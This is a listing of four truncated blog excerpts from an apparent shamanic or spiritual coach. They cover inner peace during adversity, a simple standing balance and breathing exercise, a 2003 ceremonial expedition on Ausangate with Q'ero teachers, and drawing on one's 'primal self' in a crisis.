For those seeking to achieve a sense of inner peace and equanimity particularly in times of difficulty, a vision for a simple practice came to me in recent client work.  It can feel like you have a good handle on staying peaceful and “enlightened” or in other words, unattached, non-judging, un-offendable and grounded in your present moment when the world and relationships around you are not challenging any of those masteries – or when you are on a retreat or spending time in your temple of choice, be it the yoga studio, the couch in front of the TV, or any other form of ritual that focuse ..read more

Try this.  Stand up with your feet comfortably apart and remain still until you feel as perfect a balance as you can.  Breath evenly and comfortably deep.  Savor that balance and the peaceful feeling of stillness.  Stay this way as long as you want.  Feel the Earth supporting you at your feet and center of your body.  If you cannot stand, try it in your imagination, or by holding up an arm or your head in a way that feels balanced. Recognize the possibility for you that in today’s fast pace and complex and largely out-of-balance society this may be the first time ..read more

I died – once again – this time on the slopes of Ausangate, a holy mountain of my Q’ero shaman teachers. I was on a ceremonial expedition with Alberto Villoldo and the Q’ero with a small group of students. We started at the end of the road at 14,000 feet with a celebration put on by the students of the nearest school at the time (2003) to the Q’ero villages, a twelve hour walk for the young children. And then we began the walk ourselves. I was honored to carry the five foot and two inch round solid brass Inka Sun Staff that we had been planting and praying over at all the sacred sites we visi ..read more

It is beautiful to see so much wise and powerful sharing of perspective and encouragement on social media, and I just want to add my little bit of observation to the mix. In my work over the years, I have found it useful to remind my clients of the fact that we have not lost our core primal nature despite recent technologies and outward appearances of society and lifestyle. So it is helpful to come at these problems of crisis and adversity from the perspective of “what would your primal self do?”. And it turns out that we have the tools in the primary shamanic work and all of the great wisdom ..read more
